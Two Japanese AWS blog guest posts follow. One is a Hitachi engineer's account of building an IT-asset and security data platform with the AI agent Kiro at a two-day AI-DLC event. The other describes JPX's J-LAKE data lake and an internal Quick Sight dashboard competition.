2026年1月22日〜23日、AWS Loft Tokyo にて11社87名が参加した「合同 AI-DLC Unicorn Gym」を開催しました。AI駆動開発ライフサイクル（AI-DLC）による開発プロセスの変革を体験いただくイベントです。イベント全体の詳細は「 11社合同 AI-DLC Unicorn Gym で体験した開発のパラダイムシフト 」をご覧ください。 本記事では、参加企業の一社である 株式会社日立産業制御ソリューションズ 業務サポート本部デジタルイノベーションセンタ所属の竹地氏に、現場のエンジニアとしてAI-DLCを体験して感じた手応えを寄稿いただきました。 以下、株式会社日立産業制御ソリューションズ 竹地氏による寄稿です。 生成AIを開発に導入したものの、「思ったようにいかない」「自分で手を動かしたほうが早い」と悩む現場は多いのではないでしょうか。 株式会社日立産業制御ソリューションズの竹地です。当社は日立グループの一員として、製造業・社会インフラ向けのITソリューションや制御システムの開発を手がけています。私たちの開発チームも、まさに同様の課題を感じていました。 本記事について打ち合わせる早川（左）と竹地氏（右） 今回、2026年1月22日〜23日にAWS Loft Tokyoで開催された11社合同の「AI-DLC Unicorn Gym」に参加させていただきました。ここでは、要件定義（Inception）から設計・実装・デプロイ（Construction）に至る全工程をAI主導で進める開発プロセスを体験しました。従来なら3人月以上かかる規模の開発が、わずか2日間で形になるという成果を得ました。 本稿では、私たちが AI-DLC（AI駆動開発ライフサイクル） の実践を通じて得た「リアルな手応え」と、これからのエンジニアに求められる「役割の変化」について共有します。 参加の背景 当社ではさまざまな生成AIを導入してきましたが、「期待通りに動かない」「信用できない」という声から、活用は局所的な補助に留まっていました。一方、AI技術の急速な進化を踏まえると、開発プロセスそのものを「AI前提」にアップデートする必要があります。 今回の Unicorn Gym では、AIコーディングエージェント「 Kiro 」を開発の主体に据えるAI-DLCを体験し、その実効性を検証することを目的としました。 実施内容 テーマ：分散したIT資産・セキュリティデータの統合基盤構築 当社内にはIT資産、セキュリティ、プロジェクト収支など、形式も管理場所も異なるデータが複数のシステムに分散しており、必要な情報の抽出・結合に膨大な工数がかかっていました。社内で見積もったところ、この統合基盤を従来の手法で構築した場合は約530時間（3人月相当）の規模です。今回の Unicorn Gym では、この「IT資産・セキュリティデータの統合活用基盤」を2日間で構築できるか挑戦しました。 Unicorn Gym 当日の様子 1日目の Inception（構想）では、Kiro との対話で曖昧なビジネス意図を詳細要件に変換しました。人間がレビュー・承認し、AIが仕様書に即時反映するサイクルを繰り返します。2日目の Construction（構築）では、前日の要件をもとに Kiro が設計・コードを提案し、モブコンストラクション形式で集中的に実装を進めました。 AI-DLCでは、エンジニアと業務部門の担当者（今回は資産管理の担当者や情報セキュリティの責任者）が肩を並べて作業し、AIの提案に対してその場でフィードバックを返します。「この項目は管理対象に含めるべきか」「このチェックロジックは現場の運用に合っているか」といった判断を、業務を熟知した担当者がその場で下せるため、数分後には修正された仕様書やコードが提示されます。この即時のフィードバックループが、AI-DLCの大きな強みです。 成果物と工数比較 開発工程 AI-DLCでの成果物 手動開発の想定工数 要件定義・設計 ユースケース・ストーリー8本、API設計14本 120〜160時間 バックエンド Lambda 18関数（約2,600行）、DynamoDB 9テーブル 160〜200時間 フロントエンド ダッシュボードUI、RBAC（ロールベースアクセス制御）、CSV出力 120〜160時間 インフラ・CI/CD CDK 2系統、IAM設定、CI/CDパイプライン 60〜80時間 合計 約70時間（7名×実働10時間） 約530時間（3人月相当） 2日間で構築したIT資産統合基盤のメインページ 2日間で構築したIT資産統合基盤のチェックページ ただし、この成果には業務担当者が同席し即時に意思決定できる体制、業務割り込みのない集中環境、プロトタイプに特化したスコープ（結合テストやセキュリティ審査は未実施）という条件がありました。それでも、設計・実装からAWS環境へのデプロイまでを2日で形にできた点は、AI-DLCの可能性を強く実感する結果でした。 学び ① 設計の「ちょうどいい」を見極めるのは人間 Kiro はコード生成や設計提案において精度の高い回答を返してくれますが、時にプロジェクトの規模以上に厳格な構成を提案することがあります。今回も、小規模なバッチ処理に対して40ファイル以上のDDD（ドメイン駆動設計）構成が提示された場面がありました。「この規模であればシンプルな構成で十分」と判断し、方針を修正したのは人間です。AIが高品質な設計パターンを提案できるからこそ、それをプロジェクトの実情に合わせて取捨選択する判断力がより重要になります。 ② コードの修正もAIに任せる AIがミスをしたとき、自分でコードを直したくなります。しかし人間が直接手を加えると、AIが保持するコンテキストと実態に乖離が生じ、以降の提案精度が下がります。人間が修正した場合はその内容をAIに伝えることで乖離を防ぐこともできますが、基本的には修正もAIとの対話を通じて行い、「AIが認識しているコードが正」というルールを徹底することが、AI駆動開発をスムーズに回すための鍵でした。 ③ 意思決定と言語化に集中する開発手法 AIは数分でレビュー結果を反映し、次の成果物を提出してきます。人間はコードを書く代わりに、レビューと意思決定を高速に繰り返します。また、AIは暗黙の前提や文脈を汲み取ることができないため、仕様や意図を正確に言語化する力が求められます。コーディングから解放された分、ビジネス価値の判断と要件の言語化に集中できる点が、AI-DLCの大きな魅力です。 これからの展望 私たちが得た最大の収穫は、AI-DLCが単に時短のための開発手法ではないという点です。開発の密度とフィードバックの速度を高めることで、結果として開発全体が加速される ─ この体験は、従来の効率化とは質の異なるものでした。コードを書く作業はAIに委ね、人間はレビュー・承認に専念する。AIが一般的な設計パターンやベストプラクティスを瞬時に提示するからこそ、自社固有の業務制約や設計判断を見抜く技術力がより重要になります。 当社では今回の成果を踏まえ、AI-DLCのワーキンググループを発足する予定です。サンドボックス環境の整備やAIエージェントを使いこなすためのルール（Steering / Skills）の構築を進め、社内の開発プロセスへの適用を本格的に推進していきます。 （寄稿ここまで） AI-DLC に興味を持たれた方は、 aidlc-workflows（GitHub） をご覧ください。Kiro を使ってAI-DLCを始めるためのワークフローやテンプレートを公開しています。 Unicorn Gym 参加メンバー（日立産業制御ソリューションズ、AWS） 著者 竹地 航太郎 株式会社日立産業制御ソリューションズ 業務サポート本部デジタルイノベーションセンタ所属。クラウドや生成AIを活用したソフトウエア生産技術の社内展開を担当。AI‑DLC Unicorn Gymへの参加をきっかけに、AI駆動開発を取り入れた社内プロジェクトを推進中。 早川 康平 アマゾン ウェブ サービス ジャパン テクニカルカスタマーソリューションズ マネージャー。金融勘定系システムのPM、Webエンジニア、SaaSプロダクトマネージャー、ソリューションアーキテクトを経て現職。幅広い経験を活かし、日立グループ専任のCSMとして、SaaSアプリケーション開発やAI活用を含むクラウド活用と開発プロセスの変革を支援している。宮城県仙台市出身。

本稿は、日本取引所グループの戦略的なデータ・デジタル事業を担う株式会社 JPX 総研による「 Amazon Quick Sight を活用した JPX 保有データ（J-LAKE）活用推進の取り組み」について、アーキテクティングと開発をリードされた箕輪 郁雄 様、鹿島 裕 様に寄稿いただきました。 イントロダクション JPX 総研 は、市場全体の機能強化および効率化に繋がるマーケット・サービスの創造を追求することを目的に、2022年4月に子会社として事業を開始しました。主に金融商品市場に関係するデータ・インデックスサービス及びシステム関連サービスを提供しています。 JPX 総研では、日本取引所グループのグループ会社及び協業会社（以下「JPX グループ等」）が保有するデータを蓄積するJPX のデータレイク（ J-LAKE ）を構築しました。J-LAKE が社内外から積極的に活用（民主化）されるための取組みとして、社内のデータ活用を推進するために実施した「社内 Amazon Quick Sight ダッシュボードコンペ」の事例についてご紹介します。ブログの中では、J-LAKE 構築、 Amazon Quick Sight 社内ダッシュボードコンペの実施に至った背景や AWS の活用方法についても解説いたします。 J-LAKE 構築の経緯 JPX グループ等では、旧来のオンプレシステムにおいても JPX のデータを集約して貯めておくコンセプトが存在しており、基幹系の各システムからデータを１か所に蓄積するシステムが存在しておりました。ただ、このオンプレシステムに蓄積されていたデータを全社で有効に活用できる仕組みにはなっておらず、ビジネスニーズに合わせて逐次システム改修が必要となり、利用する度に費用が発生し完成まで時間がかかってしまうデメリットが生じておりました。 またデータは蓄積されていましたが、機密度の高いデータとそれ以外のデータが混在しており、社内の各部のユーザが自由に利用できるような環境がなかったため、データが必要となった際は、IT 部署への依頼が必須となってしまっていたため、各部でのデータ活用が進んでいかない状態でした。そのような状況の中、こちらのシステムが老朽化のためリプレース時期を迎えていたこともあり、前述の課題も含め解消すべく、AWS 上にデータレイク(J-LAKE)を構築しました。 J-LAKE 構築にあたっての課題 オンプレミスシステムの老朽化 データ管理上の制約によるユーザの利用困難 ユーザが能動的にデータを使える環境・文化の醸成の必要性 社内でデータの民主化を進め、ユーザが自らデータを活用できる環境や文化を醸成することが求められていました。これにより、データビジネスの加速や新たな価値創出が期待されていました。 J-LAKE 構築にあたってのソリューション データメッシュ構造を取り入れた J-LAKE の構築 AWS 上にデータメッシュ構造を取り入れたデータレイク「J-LAKE」を構築することで、機密性の度合いによるデータの管理を容易にし、柔軟なデータ管理の運用が可能となりました。 Amazon Quick Sightを基軸とした分析環境の提供 J-LAKE 上のデータを活用し、Amazon Quick Sight を中心とした分析環境を整備することで、ユーザが自らデータ分析を行える環境を提供しました。これにより、各部門の業務効率化を可能としました。 DCoE（Data Center of Excellence）の設立 データ活用推進のための専門組織として DCoE を立ち上げ、データの投入から利用におけるガバナンス整備、セキュリティ担保の方法について議論し、その内容を社内で共有していくとともに、J-LAKE の開発・運用にフィードバックを行い DCoE の決定に従いセキュリティ等の仕組みを構築しました。 DCoE ポータルサイトの構築 上記のデータを利用するにあたってのアナウンスや、Amazon Quick Sight の利用方法、J-LAKE データを活用いただくための AI でのデータ検索機能や簡易的なデータ取得環境を提供するポータルサイトを立ち上げました。 社内データ活用の啓蒙活動について 社内でデータを活用できる環境やルールの整備を進めてきましたが、もともとデータ活用の文化が根付いていなかったことから、Amazon Quick Sight の利用が思うように進まない状況が続いていました。そこで、この課題を解決するために、まずは経営層が日常的に利用するデータ可視化の取り組みを開始しました。 従来、役員向けの財務状況の報告は、Excel で作成した資料を元に紙ベースで四半期ごとに実施していましたが、Amazon Quick Sight を活用し、月次で確認できるダッシュボードを構築しました。また、日々 Excel マクロで作成しメール送信していた売上予測についても、いつでもアクセスできるダッシュボードとして再構築しました。 役員向けダッシュボードはシングルサインオン（SSO）を導入することでログインの手間を省き、さらに、売上予測ダッシュボードでは従来の表形式に加え、グラフによるビジュアル化コンテンツを追加することで、より直感的にデータを把握できるよう工夫しました。 これらの取り組みにより、日々 Excel 作業で発生していた作成工数が、ダッシュボード作成の自動化で大幅に削減されました。この部分においても経営層にとって Amazon Quick Sight の導入が効果的であると認知していただけました。 これをきっかけに、役員から「こんなデータが見たい」といった具体的な要望が各部門に寄せられるようになり、必要な情報を早期にダッシュボード化して共有することで、Amazon Quick Sight の価値を社内全体で実感できるようになりました。 経営層が Amazon Quick Sight の有用性を認知したことを受け、役職員のスキルアップや業務への適用が急務となりました。そこで、AWS 様のご協力のもと、社内向け Amazon Quick Sight ハンズオンを実施しました。 まずは、データ活用が今後の JPX のビジネス展開に不可欠であることを説明し、世間や他部署での Amazon Quick Sight 利用ユースケースを紹介しました。その流れで、簡単なグラフ作成などを体験できる初級編ハンズオンを開催し、社員が Amazon Quick Sight を身近に感じられる機会を提供しました。 さらに半年後には、JPX 内での Amazon Quick Sight 最新の利用方法の紹介と、AWS 様より Amazon Quick Sight の便利な利用方法をご紹介いただいたうえで、具体的なインサイトを得られる分析手法を学べる中級編ハンズオンを開催しました。 各ハンズオンの後には懇親会を設け、他部署との交流を深めるとともに、事務局として各部の利用状況の実態を把握する場としても活用しました。 また、ハンズオンや懇親会を通じて得られた各部門のデータ活用状況に合わせて、個別に相談会を実施し、チャットを活用した気軽な質問環境も整備しました。これにより、JPX 内で業務に活用できるダッシュボードの構築が徐々に広がり、Amazon Quick Sight が各部門の業務効率化や意思決定の迅速化に寄与し始めてきました。 Amazon Quick Sight ダッシュボードコンペによる社内データ活用の促進 上記の取り組みにより、社内で Amazon Quick Sight を利用するユーザの広がりや、利用方法の多様化を実感することができました。そこで、社内全体のデータ活用スキル向上と Amazon Quick Sight のさらなる認知拡大を目的として、「Amazon Quick Sight ダッシュボードコンペ」を企画しました。 コンペの募集にあたっては、日常業務で活用されるダッシュボードから、J-LAKE のデータを用いた新たなインサイトを得られるダッシュボードまで、幅広いテーマで募集を行いました。応募されたダッシュボードについては、AWS 様のご協力のもと相談会を実施し、参加者がダッシュボードを磨き上げる機会を設けることで、より質の高いアウトプットを目指しました。 コンペのプレゼン大会当日は、CEO を含む役員および AWS 様にも審査員としてご参加いただき、各ダッシュボードに対して多くのコメントやフィードバックが寄せられました。時間が足りなくなるほどの大盛況となり、社内のデータ活用に対する熱意や関心の高さを改めて感じるイベントとなりました。 このイベントを通じて、以下のような新たな気づきや成果が得られました。 コンペ実施まで Amazon Quick Sight をほとんど触ったことがないユーザでも、約1か月の作成期間の中で、自部署の業務と並行しながらダッシュボードを構築することができました。これにより、Amazon Quick Sight の操作性や学習のしやすさを実感する機会となりました。 各部門には、J-LAKE に格納されていない多様なデータが存在していることが明らかになり、今後のデータ活用の可能性が広がることを認識しました。 経営層が求めるデータや視点を理解する良い機会となり、現場と経営層のコミュニケーションの促進や、より価値の高いダッシュボードの構築につながると感じました。 今後の展望 これまでの活動を通じて、JPX グループ内でのデータ活用が各部門で徐々に広がり始めていることを実感しています。一方で、まだまだ活用の余地が大きいと感じており、 Amazon Quick に AI 機能が搭載されたことで、今後さらに活用の幅が広がっていくと期待しています。 今後も継続的に社内のデータ活用を推進するため、各部門が保有するデータを J-LAKE に集約し、Amazon Quick の新機能を紹介するハンズオンを実施することで、今回あまり参加いただけなかった部署にも積極的にアプローチしていきたいと考えています。 また、J-LAKE のデータを社外に単純に販売するだけでなく、Amazon Quick を活用した新たなデータサービスの開発にも取り組み、JPX グループ全体のデータ価値の最大化を目指してまいります。 JPX では今後も AWS のサービスを活用し、データドリブンな業務改革とイノベーションを推進していきます。Amazon Quick を中心としたデータ活用の取り組みをさらに拡大し、社員一人ひとりがデータを活用した価値創造に貢献できる環境づくりを目指してまいります。 執筆者 日本取引所グループ・株式会社 JPX 総研　IT ビジネス部　シニアアーキテクト 箕輪　郁雄 大学卒業後、パッケージ開発 IT ベンダーにてプログラマ、DBA 、PM を経験の後、当時の東京証券取引所に入社。ERP パッケージの導入や基幹系システムの新規立ち上げから構築などを担当したのち、現在のデータを活用したシステムの立ち上げ・開発を担当。 日本取引所グループ・株式会社 JPX 総研　IT ビジネス部　統括課長 鹿島　裕 大学卒業後、当時の東京証券取引所に入社。株式売買システムの開発を経験の後、2013年より社内 DWH システム担当として組織統合におけるデータの集約・一元管理に取り組む。データレイク構築に携わったのち、データ活用に関する企画・開発を担当。